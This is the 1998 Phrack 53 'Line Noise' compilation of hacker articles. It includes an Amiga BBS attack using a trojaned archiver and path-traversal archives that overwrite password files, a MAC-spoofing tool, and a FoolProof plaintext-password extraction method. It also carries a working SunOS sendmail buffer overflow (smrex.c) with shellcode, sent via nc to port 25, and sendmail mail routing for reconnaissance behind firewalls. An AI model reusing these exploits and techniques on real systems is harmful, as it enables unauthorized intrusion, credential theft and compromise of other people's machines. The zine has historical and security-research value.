---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 03 of 15
-------------------------[ P H R A C K 5 3 L I N E N O I S E
--------[ Various
0x1>-------------------------------------------------------------------------
On not being a moron in public
- nihilis
(In response to why cantor kick-banned someone off of #Phrack
without warning:
you were an idiot near me
i hate that)
I wouldn't think normally that this is an article which needs to be written.
But as experience has shown, it may very well be.
Several months ago I was on the IRC EFnet's channel #phrack and one of the
users spouted a URL for a web page he and his cohorts had hacked. On it he
had kindly sent salutations to everyone he knew and to Phrack. We, the
other occupants of the channel all admitted that none of us spoke
authoritatively in the magazine's behalf, but that we were confident that
none of the editorial staff would appreciate being implicated in a felony by
association. The user didn't seem to understand.
The next day, when the user was asked to join some of the authorities at the
local station-house for a short interview, I'm sure he wet his pants. The
line of questioning was short: it merely established that he had not been the
culprit in further attacks on the same host. The police released him uncharged.
In discussions with him later on #Phrack, we weren't surprised to find that he
had been apprehended. As things played out, the user clearly felt no crime had
been committed: All he did was change a web page. He adamantly protested
that he didn't do any damage, he didn't put in any backdoors, he didn't know
that root's .rhosts contained four simple bytes: "+ +\n".
Clearly this user didn't look very hard in what were apparently his several
weeks of attempting to hack the site.
Interestingly enough, I haven't seen this user on IRC since about a week after
the episode.
There are several morals to this story: Hacking is a felony. Any
unauthorized access constitutes hacking. If you do hack something, don't be a
moron about it.
It's likely always been this way, but it's only been more recently I've been
paying attention, I suspect: The advent of information availability and a
rise in the number people for whom the net has always been "the norm" is
producing a class of users who cannot think for themselves. As reliance
upon scripted attacks increases, the number of people who personally possess
technical knowledge decreases.
Today I was lurking and watching the activity on #Phrack while tending to
issues at work. The two largest discussions which come to mind are that SYN
flooding cannot be prevented, even using the newest Linux kernel; and what
0x0D means and that, yes, it is interchangeable for 13 in a C program. For
the latter, the opposing point of view was presented by "an experienced C
programmer."
This was actually a civil conversation. People in-the-know were actually a
little more crude than necessary, and the groups in need of reeducation
admitted faults without needing four reference sources and three IETF
standards quoted. It was a good day.
People these days seem generally unwilling to concede that someone else on the
Internet has done their homework, has studied the standards, and has an
advantage. They consider themselves experienced because they got an
unpatched Windows NT to bring up the Blue Screen Of Death remotely using a
program published four months ago. They hack web pages and put their names
on it.
They seem unwilling to read the code given to them to establish exactly what
happens when the newest 0-day exploit runs. They do not find the holes. They
seem generally more interested in fucking someone over (unaware of potential
consequences) than in really solving any sort of technical problem. It's all
a race, it's all a game, it's all a matter of who has the newest tools.
I'm writing this now because I'm sick of that. I'm sick of people who think
they're smart and are intent on making sure I know it by putting their feet
in their mouths. I'm sick of people who persistently ignore advice given to
them and get angry when the consequences happen. I'm sick of people who
cannot contribute intelligently to a conversation.
So here are some tips for the future:
You're a lot more impressive if you say something right than if you say
something wrong. Someone nearby may be able to verify your claim and may
call you on it.
You're a lot more impressive if you can do something effortlessly because
you've done it before than if you bumble and stumble through an experience
because you thought you could do it and were wrong.
If you're caught in a lie, admit it. The people who caught you already know
more than you do: If you continue to spout bullshit, they'll know that too.
But do your homework. Don't let them catch you being an idiot twice.
If you do something illegal, don't broadcast it. This is especially stupid.
Chances are, someone will be looking for someone to blame soon. By
announcing that you're responsible, you're inviting them to contact you.
0x2>-------------------------------------------------------------------------
Portable BBS Hacking
Extra tips for Amiga BBS systems
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
After reading Khelbin's article from Phrack 50 (article 03), it reminded
me of the similar tricks I had learnt for Amiga BBS systems. So I decided to
write a small article covering the Amiga specific things.
As with Khelbin's article, the actual BBS software isn't particularly
important since they mostly all work the same way in the respect of archivers.
This trick can also be used on other users, but I'll cover that later in the
article.
Firstly, the Amiga supports patching. This means you can set up paths
which point to the directories where your commands are held. The Amiga OS
also automatically sets a path to the current directory. As far as I know,
you can't stop it doing this, but you don't need to anyway, if you're smart.
This firstly problem, relating to the patching of the current directory is more
common than you might expect, since it's such a simple thing to overlook.
What happens is this: The BBS receives a new file from you, and unarchives
it to a temporary dir for whatever reason. It virus checks the files (or
whatever) then it attempt to recompress the files. But, if your file
contained an executable named the same as the BBS's archiver, it would call
the one you uploaded, since the BBS would've CDed to the temp dir to
rearchive the files. As you can imagine, you can use this to activate all
sorts of trojans and viruses, as long as the virus checker doesn't
recognize them. A good idea is to make sure your trojan calls the proper
command as well, so the sysop doesn't notice immediately. The more
observant sysops will have circumvented this problem by calling the archive
with an absolute path, and/or using another method to rearchive the files,
without having to CD into the temp dir.
The second trick is very similar to Khelbin's method of hex-editing
archives. The only difference is, on the Amiga, the backslash and slash are
swapped. For example, you create a file containing a new password file for
the BBS in question.
> makedir temp/BBSData
> copy MyBBSPasswords.dat temp/BBSData/userdata
> lha -r a SomeFiles.lha temp
For the makedir, make the "temp" dir name to be however long it needs to be
when you overwrite the characters of it in the hex-editor. In this case, we
need 4.
Now, load the archive into a hex editor like FileMaster and find the
string:
"temp\BBSData\userdata"
and change it to whatever you need, for example:
"\\\\BBSData\userdata"
which will unarchive 4 levels back from his temporary directory into the real
BBSData dir. The only problem with this is that you need to know a little
about the BBS's directory structure. But, if you intend to hack it, you
should probably know that much anyway.
You'll notice that within the archive, the slash and backslash are swapped.
This is important to remember, since using the wrong one will mean your
archive will fail to extract correctly. The article about this from Phrack
50 was for PCs, which use backslash for directory operations. The Amiga
uses slash instead, but apart from that, the methods used in that article
will work fine for Amiga archives.
If you know the Sysop of the BBS has a program like UnixDirs installed, you
can even use the ".." to get to the root dir. The only other way to do that
is to use a ":", however, I am not sure if this works. I have a feeling LhA
would barf. Luckily, since the Amiga isn't limited by 8.3 filename problems,
you can traverse directories much easier than with the limit imposed on PC
systems.
The only real way the Sysop can fix this problem is by have his temp dir
for unarchiving to be a device which has nothing important on it, like RAM:.
That way, if the archive is extracted to RAM: and tries to step back 3
directories using "///", it'll still be in RAM: and won't screw with anything
important.
0x3>-------------------------------------------------------------------------
<++> EX/changemac.c
/*
* In P51-02 someone mentioned Ethernet spoofing. Here you go.
* This tiny program can be used to trick some smart / switching hubs.
*
* AWL production: (General Public License v2)
*
* changemac version 1.0 (2.20.1998)
*
* changemac -- change MAC address of your ethernet card.
*
* changemac [-l] | [-d number ] [ -r | -a address ]
*
* -d number number of ethernet device, 0 for eth0, 1 for eth1 ...
* if -d option is not specify default value is 0 (eth0)
*
* -h help for changemac command
*
* -a address address format is xx:xx:xx:xx:xx:xx
*
* -r set random MAC address for ethernet card
*
* -l list first three MAC bytes of known ethernet vendors
* (this list is not compleet, anyone who know some more
* information about MAC addresses can mail me)
*
* changemac does not change hardware address, it just change data in
* structure of kernel driver for your card. Next boot on your computer will
* read real MAC form your hardware.
*
* The changed MAC stays as long as your box is running, (or as long as next
* successful changemac).
*
* It will not work if kernel is already using that ethernet device. In that
* case you have to turn off that device (ifconfig eth0 down).
*
* I use changemac in /etc/rc.d/rc.inet1 (slackware, or redhat) just line
* before ifconfig for ethernet device (/sbin/ifconfig eth0 ...)
*
* The author will be very pleased if you can learn something form this code.
*
* Updates of this code can be found on:
* http://galeb.etf.bg.ac.yu/~azdaja/changemac.html
*
* Sugestions and comments can be sent to author:
* Milos Prodanovic
*/
#include
#include
#include
#include
#include
#include
#include
#include
struct LIST
{
char name[50];
u_char mac[3];
};
/*
* This list was obtainted from [email protected], created on 01.7.93.
*/
struct LIST vendors[] = {
{"OS/9 Network ",'\x00','\x00','\x00'},
{"BBN ",'\x00','\x00','\x02'},
{"Cisco ",'\x00','\x00','\x0C'},
{"Fujitsu ",'\x00','\x00','\x0E'},
{"NeXT ",'\x00','\x00','\x0F'},
{"Sytek/Hughes LAN Systems ",'\x00','\x00','\x10'},
{"Tektronics ",'\x00','\x00','\x11'},
{"Datapoint ",'\x00','\x00','\x15'},
{"Webster ",'\x00','\x00','\x18'},
{"AMD ? ",'\x00','\x00','\x1A'},
{"Novell/Eagle Technology ",'\x00','\x00','\x1B'},
{"Cabletron ",'\x00','\x00','\x1D'},
{"Data Industrier AB ",'\x00','\x00','\x20'},
{"SC&C; ",'\x00','\x00','\x21'},
{"Visual Technology ",'\x00','\x00','\x22'},
{"ABB ",'\x00','\x00','\x23'},
{"IMC ",'\x00','\x00','\x29'},
{"TRW ",'\x00','\x00','\x2A'},
{"Auspex ",'\x00','\x00','\x3C'},
{"ATT ",'\x00','\x00','\x3D'},
{"Castelle ",'\x00','\x00','\x44'},
{"Bunker Ramo ",'\x00','\x00','\x46'},
{"Apricot ",'\x00','\x00','\x49'},
{"APT ",'\x00','\x00','\x4B'},
{"Logicraft ",'\x00','\x00','\x4F'},
{"Hob Electronic ",'\x00','\x00','\x51'},
{"ODS ",'\x00','\x00','\x52'},
{"AT&T; ",'\x00','\x00','\x55'},
{"SK/Xerox ",'\x00','\x00','\x5A'},
{"RCE ",'\x00','\x00','\x5D'},
{"IANA ",'\x00','\x00','\x5E'},
{"Gateway ",'\x00','\x00','\x61'},
{"Honeywell ",'\x00','\x00','\x62'},
{"Network General ",'\x00','\x00','\x65'},
{"Silicon Graphics ",'\x00','\x00','\x69'},
{"MIPS ",'\x00','\x00','\x6B'},
{"Madge ",'\x00','\x00','\x6F'},
{"Artisoft ",'\x00','\x00','\x6E'},
{"MIPS/Interphase ",'\x00','\x00','\x77'},
{"Labtam ",'\x00','\x00','\x78'},
{"Ardent ",'\x00','\x00','\x7A'},
{"Research Machines ",'\x00','\x00','\x7B'},
{"Cray Research/Harris ",'\x00','\x00','\x7D'},
{"Linotronic ",'\x00','\x00','\x7F'},
{"Dowty Network Services ",'\x00','\x00','\x80'},
{"Synoptics ",'\x00','\x00','\x81'},
{"Aquila ",'\x00','\x00','\x84'},
{"Gateway ",'\x00','\x00','\x86'},
{"Cayman Systems ",'\x00','\x00','\x89'},
{"Datahouse Information Systems ",'\x00','\x00','\x8A'},
{"Jupiter ? Solbourne ",'\x00','\x00','\x8E'},
{"Proteon ",'\x00','\x00','\x93'},
{"Asante ",'\x00','\x00','\x94'},
{"Sony/Tektronics ",'\x00','\x00','\x95'},
{"Epoch ",'\x00','\x00','\x97'},
{"CrossCom ",'\x00','\x00','\x98'},
{"Ameristar Technology ",'\x00','\x00','\x9F'},
{"Sanyo Electronics ",'\x00','\x00','\xA0'},
{"Wellfleet ",'\x00','\x00','\xA2'},
{"NAT ",'\x00','\x00','\xA3'},
{"Acorn ",'\x00','\x00','\xA4'},
{"Compatible Systems Corporation ",'\x00','\x00','\xA5'},
{"Network General ",'\x00','\x00','\xA6'},
{"NCD ",'\x00','\x00','\xA7'},
{"Stratus ",'\x00','\x00','\xA8'},
{"Network Systems ",'\x00','\x00','\xA9'},
{"Xerox ",'\x00','\x00','\xAA'},
{"Western Digital/SMC ",'\x00','\x00','\xC0'},
{"Eon Systems (HP) ",'\x00','\x00','\xC6'},
{"Altos ",'\x00','\x00','\xC8'},
{"Emulex ",'\x00','\x00','\xC9'},
{"Darthmouth College ",'\x00','\x00','\xD7'},
{"3Com ? Novell ? [PS/2] ",'\x00','\x00','\xD8'},
{"Gould ",'\x00','\x00','\xDD'},
{"Unigraph ",'\x00','\x00','\xDE'},
{"Acer Counterpoint ",'\x00','\x00','\xE2'},
{"Atlantec ",'\x00','\x00','\xEF'},
{"High Level Hardware (Orion, UK) ",'\x00','\x00','\xFD'},
{"BBN ",'\x00','\x01','\x02'},
{"Kabel ",'\x00','\x17','\x00'},
{"Xylogics, Inc.-Annex terminal servers",'\x00','\x08','\x2D'},
{"Frontier Software Development ",'\x00','\x08','\x8C'},
{"Intel ",'\x00','\xAA','\x00'},
{"Ungermann-Bass ",'\x00','\xDD','\x00'},
{"Ungermann-Bass ",'\x00','\xDD','\x01'},
{"MICOM/Interlan [Unibus, Qbus, Apollo]",'\x02','\x07','\x01'},
{"Satelcom MegaPac ",'\x02','\x60','\x86'},
{"3Com [IBM PC, Imagen, Valid, Cisco] ",'\x02','\x60','\x8C'},
{"CMC [Masscomp, SGI, Prime EXL] ",'\x02','\xCF','\x1F'},
{"3Com (ex Bridge) ",'\x08','\x00','\x02'},
{"Symbolics ",'\x08','\x00','\x05'},
{"Siemens Nixdorf ",'\x08','\x00','\x06'},
{"Apple ",'\x08','\x00','\x07'},
{"HP ",'\x08','\x00','\x09'},
{"Nestar Systems ",'\x08','\x00','\x0A'},
{"Unisys ",'\x08','\x00','\x0B'},
{"AT&T; ",'\x08','\x00','\x10'},
{"Tektronics ",'\x08','\x00','\x11'},
{"Excelan ",'\x08','\x00','\x14'},
{"NSC ",'\x08','\x00','\x17'},
{"Data General ",'\x08','\x00','\x1A'},
{"Data General ",'\x08','\x00','\x1B'},
{"Apollo ",'\x08','\x00','\x1E'},
{"Sun ",'\x08','\x00','\x20'},
{"Norsk Data ",'\x08','\x00','\x26'},
{"DEC ",'\x08','\x00','\x2B'},
{"Bull ",'\x08','\x00','\x38'},
{"Spider ",'\x08','\x00','\x39'},
{"Sony ",'\x08','\x00','\x46'},
{"BICC ",'\x08','\x00','\x4E'},
{"IBM ",'\x08','\x00','\x5A'},
{"Silicon Graphics ",'\x08','\x00','\x69'},
{"Excelan ",'\x08','\x00','\x6E'},
{"Vitalink ",'\x08','\x00','\x7C'},
{"XIOS ",'\x08','\x00','\x80'},
{"Imagen ",'\x80','\x00','\x86'},
{"Xyplex ",'\x80','\x00','\x87'},
{"Kinetics ",'\x80','\x00','\x89'},
{"Pyramid ",'\x80','\x00','\x8B'},
{"Retix ",'\x80','\x00','\x90'},
{'\x0','\x0','\x0','\x0'}
};
void change_MAC(u_char *,int);
void list();
void random_mac(u_char *);
void help();
void addr_scan(char *,u_char *);
int
main(int argc, char ** argv)
{
char c;
u_char mac[6] = "\0\0\0\0\0\0";
int nr = 0,eth_num = 0,nr2 = 0;
extern char *optarg;
if (argc == 1)
{
printf("for help: changemac -h\n");
exit(1);
}
while ((c = getopt(argc, argv, "-la:rd:")) != EOF)
{
switch(c)
{
case 'l' :
list();
exit(1);
case 'r' :
nr++;
random_mac(mac);
break;
case 'a' :
nr++;
addr_scan(optarg,mac);
break;
case 'd' :
nr2++;
eth_num = atoi(optarg);
break;
default:
help();
exit(1);
}
if (nr2 > 1 || nr > 1)
{
printf("too many options\n");
exit(1);
}
}
change_MAC(mac,eth_num);
return (0);
}
void
change_MAC(u_char *p, int ether)
{
struct ifreq devea;
int s, i;
s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0)
{
perror("socket");
exit(1);
}
sprintf(devea.ifr_name, "eth%d", ether);
if (ioctl(s, SIOCGIFHWADDR, &devea;) < 0)
{
perror(devea.ifr_name);
exit(1);
}
printf("Current MAC is\t");
for (i = 0; i < 6; i++)
{
printf("%2.2x ", i[devea.ifr_hwaddr.sa_data] & 0xff);
}
printf("\n");
/* an ANSI C ?? --> just testing your compiler */
for(i = 0; i < 6; i++) i[devea.ifr_hwaddr.sa_data] = i[p];
printf("Changing MAC to\t");
/* right here i am showing how interesting is programing in C */
printf("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n",
0[p],
1[p],
2[p],
3[p],
4[p],
5[p]);
if (ioctl(s,SIOCSIFHWADDR,&devea;) < 0)
{
printf("Unable to change MAC -- Is eth%d device is up?\n", ether);
perror(devea.ifr_name);
exit(1);
}
printf("MAC changed\n");
/* just to be sure ... */
if (ioctl(s, SIOCGIFHWADDR, &devea;) < 0)
{
perror(devea.ifr_name);
exit(1);
}
printf("Current MAC is: ");
for (i = 0; i < 6; i++) printf("%X ", i[devea.ifr_hwaddr.sa_data] & 0xff);
printf("\n");
close(s);
}
void
list()
{
int i = 0;
struct LIST *ptr;
printf("\nNumber\t MAC addr \t vendor\n");
while (0[i[vendors].name])
{
ptr = vendors + i;
printf("%d\t=> %2.2x:%2.2x:%2.2x \t%s \n",
i++,
0[ptr->mac],
1[ptr->mac],
2[ptr->mac],
ptr->name);
if (!(i % 15))
{
printf("\n press enter to continue\n");
getchar();
}
}
}
void
random_mac(u_char *p)
{
srandom(getpid());
0[p] = random() % 256;
1[p] = random() % 256;
2[p] = random() % 256;
3[p] = random() % 256;
4[p] = random() % 256;
5[p] = random() % 256;
}
void
addr_scan(char *arg, u_char *mac)
{
int i;
if (!(2[arg] == ':' &&
5[arg] == ':' &&
8[arg] == ':' &&
11[arg] == ':' &&
14[arg] == ':' &&
strlen(arg) == 17 ))
{
printf("address is not in spacified format\n");
exit(0);
}
for(i = 0; i < 6; i++) i[mac] = (char)(strtoul(arg + i*3, 0, 16) & 0xff);
}
void
help()
{
printf(" changemac - soft change MAC address of your ethernet card \n");
printf(" changemac -l | [-d number ] [ -r | -a address ] \n");
printf(" before you try to use it just turn ethernet card off, ifconfig ethX down\n");
printf(" -d number number of ethernet device \n");
printf(" -h this help \n");
printf(" -a address address format is xx:xx:xx:xx:xx:xx \n");
printf(" -r set random generated address \n");
printf(" -l list first three MAC bytes of known ethernet vendors\n");
printf(" example: changemac -d 1 -a 12:34:56:78:9a:bc\n");
}
/* EOF */
<-->
0x4>-------------------------------------------------------------------------
The Defense Switched Network
By: DataStorm
This is an extremely shortened tutorial on the DSN. More information
is available through the DoD themselves and various places on the Internet. If
you have any comments or suggestions, feel free to e-mail me.
***THE BASICS OF THE DSN***
Despite popular belief, the AUTOVON is gone, and a new DCS
communication standard is in place, the DSN, or Defense Switched Network.
The DSN is used for the communication of data and voice between various
DoD installations in six world theaters: Canada, the Caribbean, the
Continental United States (CONUS), Europe, the Pacific and Alaska, and
Southwest Asia. The DSN is used for everything from video-teleconferencing,
secure and insecure data and voice, and any other form of communication that
can be transmitted over wiring. It is made up of the old AUTOVON system, the
European telephone system, the Japanese and Korean telephone upgrades, the
Oahu system, the DCTN, the DRSN, the Video Teleconferencing Network, and more.
This makes the DSN incredibly large, which in turn makes it very useful.
(See the section TRICKS in this article for more information.)
The DSN is extremely isolated. It is designed to function even when
outside communication lines have been destroyed and is not dependent on any
outside equipment. It uses its own switching equipment, lines, phones, and
other components. It has very little link to the outside world, since in a
bombing/war, civilian telephone may be destroyed. This aspect, of course,
also means that all regulation of the DSN is done by the government itself.
When you enter the DSN network, you are messing with the big boys.
To place a call to someone in the DSN, you must first dial the DSN access
number, which lets you into the network itself. From there you can dial any
number within the DSN, as long as it is not restricted from your calling area
or hone. (Numbers both inside and outside the DSN can be restricted from calling
certain numbers).
If you are part of the DSN, you may periodically get a call from an
operator, wanting to connect you with another person in or out of the network.
To accept, you must tell her your name and local base telephone extension,
your precedence, and any other information the operator feels she must have
from you at that time. (I'm not sure of the operators abilities or
technologies. They may have ANI in all or some areas.)
The DSN uses signaling techniques similar to Bell, with a few differences.
The dial tone is the same on both networks; the network is open and ready.
When you call or are being called, a DSN phone will ring just like a Bell
phone, with one difference. If the phone rings at a fairly normal rate, the
call is of average precedence, or "Routine." If the ringing is fast, it is of
higher precedence and importance. A busy signal indicates that the line is
either busy, or DSN equipment is busy. Occasionally you may hear a tone
called the "preempt" tone, which indicates that your call was booted off
because one of higher precedence needed the line you were connected with. If
you pick up the phone and hear an odd fluctuating tone, this means that a
conference call is being conducted and you are to be included.
As on many other large networks, the DSN uses different user classes to
distinguish who is better than who, who gets precedence and more calls and who
does not. The most powerful user class is the "Special C2" user. This
fortunate military employee (or hacker?) has virtually unrestricted access to
the system. The Special C2 user identifies himself as that through a
validation process.
The next class of user is the regular "C2" user. To qualify, you must
have the requirements for C2 communications, but do not have to meet the
requirements for the Special C2 user advantages. (These are users who
coordinate military operations, forces, and important orders.) The last type
of user is insensitively called the "Other User." This user has no need for
Specail C2 or C2 communications, so he is not given them. A good comparison
would be "root" for Special C2, "bin" for C2, and "guest" for other.
The network is fairly secure and technologically advanced. Secure voice
is encrypted with the STU-III. This is the third generation in a line of
devices used to make encrypted voice, which is NOT considered data over the
DSN. Networking through the DSN is done with regular IP version 4, unless
classified, in which case Secret IP Routing Network(SIPRNET) protocol is
used. Teleconferencing can be set up by the installation operator, and video
teleconferencing is a common occurrence.
The DSN is better than the old AUTOVON system in speed and quality, which
allows it to take more advantage of these technologies. I'm sure that as we
progress into faster transmission rates and higher technology, we will begin
to see the DSN use more and more of what we see the good guys using on
television.
Precedence on the DSN fits the standard NCS requirements, so I will not
talk about it in great detail in this article. All I think I have to clear up
is that DSN phones do NOT use A, B, C, and D buttons as the phones in the
AUTOVON did for precedence. Precedence is done completely with standard DTMF
for efficiency.
A DSN telephone directory is not distributed to the outside, mainly
because of the cost and lack of interest. However, I have listed the NPA's
for the different theaters. Notice that the DSN only covers major ally areas.
You won't be able to connect to Russia with this system, sorry. Keep in mind
that each base has their own operator, who for the intra-DSN circuit, is
reachable by dialing "0." Here is a word of advice: there ARE people who sit
around all day and monitor these lines. Further, you can be assured these are
specialized teams that work special projects at the echelons above reality.
This means that if you do something dumb on the DSN from a location they can
trace back to you, you WILL be imprisoned.
AREA DSN NPA
Canada 312
CONUS 312
Caribbean 313
Europe 314
Pacific/Alaska 315/317
S.W. Asia 318
The format for a DSN number is NPA-XXX-YYYY, where XXX is the installation
prefix (each installation has at least one of their own) and YYYY is the
unique number assigned to each internal pair, which eventually leads to a
phone. I'm not even going to bother with a list of numbers; there are just
too many. Check http://www.tfs.net/~havok (my home page) for the official DSN
directory and more information.
DSN physical equipment is maintained and operated by a team of military
specialists designed specifically for this task, (you won't see many Bell
trucks around DSN areas).
Through even my deepest research, I was unable to find any technical
specifications on the hardware of the actual switch, although I suppose they
run a commercial brand such as ESS 5. My resources were obscure in this area,
to say the least.
***TRICKS***
Just like any other system in existence, the DSN has security holes and
toys we all can have fun with. Here are a few. (If you find any more, drop me
an e-mail.)
* Operators are located on different pairs in each base; one can never
tell before dialing exactly who is behind the other line. My best luck has
been with XXX-0110 and XXX-0000.
* To get their number in the DSN directory, DoD installations write to:
HQ DISA, Code D322
11440 Isaac Newton Square
Reston, VA 20190-5006
* Another interesting address: It seems that
GTE Government Systems Corporation
Information Systems Division
15000 Conference Center Drive
Chantilly, VA 22021-3808
has quite a bit of involvement with the DSN and its documentation projects.
***IN CONCLUSION***
As the DSN grows, so does my fascination with the system. Watch for more
articles about it. I would like to say a BIG thanks to someone who wishes to
remain unknown, a special english teacher, and the DoD for making their
information easy to get a hold of.
0x5>-------------------------------------------------------------------------
Howdy,
I have found a weakness in the password implementations of
FoolProof. FoolProof is a software package used to secure workstations
and LAN client machines from DoS and other lame-ass attacks by protecting
system files (autoexec.bat, config.sys, system registry) and blocking
access to specified commands and control panels. FoolProof was written
by Smart Stuff software originally for the Macintosh but recently
released for win3.x and win95. All my information pertains directly to
versions 3.0 and 3.3 of both the 3.x and 95 versions but should be good
for all early versions if they exist.
I have spent some time playing with it. It is capable of
modifying the boot sequence on win3.x machines to block the use of hot
keys and prevent users from breaking out of autoexec. It also modifies
the behavior of command.com so that commands can be verified by a
database and anything deemed unnecessary or potentially malicious can be
blocked (fdisk, format, dosshell?, dir, erase, del. defrag, chkdsk,
defrag, undelete, debug, etc.). Its windows clients provide for a way to
log into/out of FoolProof for privileged access by using a password or
hot key assignment. The newer installation of 95 machines have a
centralized configuration database that lives on our NetWare server.
My first success with breaking FoolProof passwords came by using
a hex editor to scan the windows swap file for anything that might be of
interested. In the swap file I found the password in plain text. I was
surprised but thought that it was something that would be simply
unavoidable and unpredictable. Later though I used a memory editor on
the machine (95 loves it when I do that) and found that FoolProof stores
a copy of the user password IN PLAIN TEXT inside its TSR's memory space.
To find a FoolProof password, simply search through conventional
memory for the string "FOOLPROO" (I don't know what they did with that
last "F") and the next 128 bytes or so should contain two plaintext
passwords followed by the hot-key assignment. For some reason FoolProof
keeps two passwords on the machine, the present one and a 'legacy'
password (the one you used before you _thought_ it was changed). There
exist a few memory viewers/editors but it isn't much effort to write
something.
Getting to a point where you can execute something can be
difficult but isn't impossible. I found that it is more difficult to do
this on the win3.x machines because FoolProof isn't compromised by the
operating system it sits on top of; basically getting a dos prompt is up
to you (try file manager if you can). 95 is easier because it is very
simple to convince 95 that it should start up into Safe-Mode and then
creating a shortcut in the StartUp group to your editor and then
rebooting the machine (FoolProof doesn't get a chance to load in safe
mode).
I tried to talk to someone at SmartStuff but they don't seem to
care what trouble their simple minded users might get into. They told me
I must be wrong because they use 128 bit encryption on the disk.
Apparently they don't even know how their own software works because the
utility they provide to recover lost passwords requires some 32+
character master password that is hardwired into each installation.
JohnWayne
0x6>-------------------------------------------------------------------------
[ old skool dept. ]
<++> EX/smrex.c
/*
* Overflow for Sunos 4.1 sendmail - execs /usr/etc/rpc.rexd.
* If you don't know what to do from there, kill yourself.
* Remote stack pointer is guessed, the offset from it to the code is 188.
*
* Use: smrex buffersize padding |nc hostname 25
*
* where `padding` is a small integer, 1 works on my sparc 1+
*
* I use smrex 84 1, play with the numbers and see what happens. The core
* gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and
* see where your offsets went wrong :)
*
* I don't *think* this is the 8lgm syslog() overflow - see how many versions
* of sendmail this has carried over into and let me know. Or don't, I
* wouldn't :)
*
* P.S. I'm *sure* there are cleverer ways of doing this overflow. So sue
* me, I'm new to this overflow business..in my day everyone ran YPSERV and
* things were far simpler... :)
*
* The Army of the Twelve Monkeys in '98 - still free, still kicking arse.
*/
#include
int main(int argc, char **argv)
{
long unsigned int large_string[10000];
int i, prelude;
unsigned long offset;
char padding[50];
offset = 188; /* Magic numbers */
prelude = atoi(argv[1]);
if (argc < 2)
{
printf("Usage: %s bufsize | nc target 25\n",
argv[0]);
exit(1);
}
for (i = 6; i < (6 + atoi(argv[2])); i++)
{
strcat(padding, "A");
}
for(i = 0; i < prelude; i++)
{
large_string[i] = 0xfffffff0; /* Illegal instruction */
}
large_string[prelude] = 0xf7ffef50; /* Arbitrary overwrite of %fp */
large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */
for( i = (prelude + 2); i < (prelude + 64); i++)
{
large_string[i] = 0xa61cc013; /* Lots of sparc NOP's */
}
/* Now the sparc execve /usr/etc/rpc.rexd code.. */
large_string[prelude + 64] = 0x250bcbc8;
large_string[prelude + 65] = 0xa414af75;
large_string[prelude + 66] = 0x271cdc88;
large_string[prelude + 67] = 0xa614ef65;
large_string[prelude + 68] = 0x291d18c8;
large_string[prelude + 69] = 0xa8152f72;
large_string[prelude + 70] = 0x2b1c18c8;
large_string[prelude + 71] = 0xaa156e72;
large_string[prelude + 72] = 0x2d195e19;
large_string[prelude + 73] = 0x900b800e;
large_string[prelude + 74] = 0x9203a014;
large_string[prelude + 75] = 0x941ac00b;
large_string[prelude + 76] = 0x9c03a104;
large_string[prelude + 77] = 0xe43bbefc;
large_string[prelude + 78] = 0xe83bbf04;
large_string[prelude + 79] = 0xec23bf0c;
large_string[prelude + 80] = 0xdc23bf10;
large_string[prelude + 81] = 0xc023bf14;
large_string[prelude + 82] = 0x8210203b;
large_string[prelude + 83] = 0xaa103fff;
large_string[prelude + 84] = 0x91d56001;
large_string[prelude + 85] = 0xa61cc013;
large_string[prelude + 86] = 0xa61cc013;
large_string[prelude + 87] = 0xa61cc013;
large_string[prelude + 88] = 0;
/* And finally, the overflow..simple, huh? :) */
printf("helo\n");
printf("mail from: %s%s\n", padding, large_string);
}
<-->
0x7>-------------------------------------------------------------------------
Practical Sendmail Routing
Intro:
This article will be short and sweet as the concept and methodology are quite
simple.
UUCP Style routing has been around longer than most newbie hackers, yet it is
a foreign concept to them. In past years, Phrack has seen at least one
article on using this method to route a piece of mail around the world and
back to the base host. That article in Phrack 41 (Network Miscellany) by the
Racketeer gave us a good outline as how to implement routed mail. I will
recap that method and show a practical use for it. If you have any questions
on the method for building the mail headers, read a book on UUCP or something.
How to:
In short, you want to create a custom route for a piece of email to follow.
This single piece of mail will follow your desired path and go through
machines of your choice. Even with mail relaying turned off, MTAs will still
past this mail as it looks at the mail and delivers only one hope at a time.
The customized headers basically tell sendmail that it should only be
concerned about the next target in the path, and to deliver. In our example
below, we will have nine systems to be concerned about. Your base host, seven
systems to bounce through, and the user on the final destination machine.
host1 = origin of mail. base host to send from.
host2 = second...
host3 = third... (etc)
host4
host5
host6
host7
host8 = final hop in our chain (i.e.: second to last)
user @ dest = final resting place for mail
Most people will wonder "why route mail, sendmail will deliver directly".
Consider the first step in doing a penetration of a foreign network: Recon. A
would-be attacker needs as much information about a remote host as possible.
Have you ever sent mail to a remote system with the intention of bouncing it?
If not, try it. You will find it a quick and easy way of finding out what
version of what MTA the host is running.
Knowing that the message will bounce with that information, think larger. Send
mail to multiple hosts on a subnet and it will return the version information
for each machine it bounces through. Think larger. Firewalls are often set
up to allow mail to go in and out without a problem. So route your mail past
the firewall, bounce it among several internal systems, then route the mail
right back out the front door. You are left with a single piece of mail
containing information on each system it bounced through. Right off, you can
start to assess if the machines are running Unix or not among other things.
So, with the example above, your mail 'to' will look like this:
host3!host4!host5!host6!host7!host8!dest!user@host2
I know. Very weird as far as the order and placement of each. If you don't
think it looks right, go reference it.
Goal:
The desired outcome of this mail is to return with as much information about
the remote network as possible. There are a few things to be wary of however.
If the mail hits a system that doesn't know how to handle it, you may never
see it again. Routing the mail through a hundred hosts behind a firewall is
risky in that it may take a while to go through, and if it encounters problems
you may not get word back to know where it messed up. What I recommend is
sending one piece of mail per host on the subnet. This can be scripted out
fairly easy, so let this be a lesson in scripting as well.
Theoretical Route 1:
you --.
firewall --.
internal host1 --.
|
internal host2 --'
firewall --'
you --'
Theoretical Route 2:
If the internal network is on a different IP scheme than the external machines,
(ie: address translation) then your mail will fail at the first hop by the
above means. So, we can try an alternative of passing mail to both sides of
the firewall in order. Of course, this would rely on knowledge of internal
network numbering. If you are wondering how to get this, two ways come to
mind. If you are one of those wacky 'white hat' ethical hackers, this
information is often given during a controlled penetration. If you are a
malicious 'black hat' evil hacker, then trashing or Social Engineering might
be an option.
you --.
firewall (external interface) --.
firewall (internal interface) --.
|
.-- internal host1 --'
|
`-- internal host2 --.
|
firewall (internal interface) --'
firewall (external interface) --'
you --'
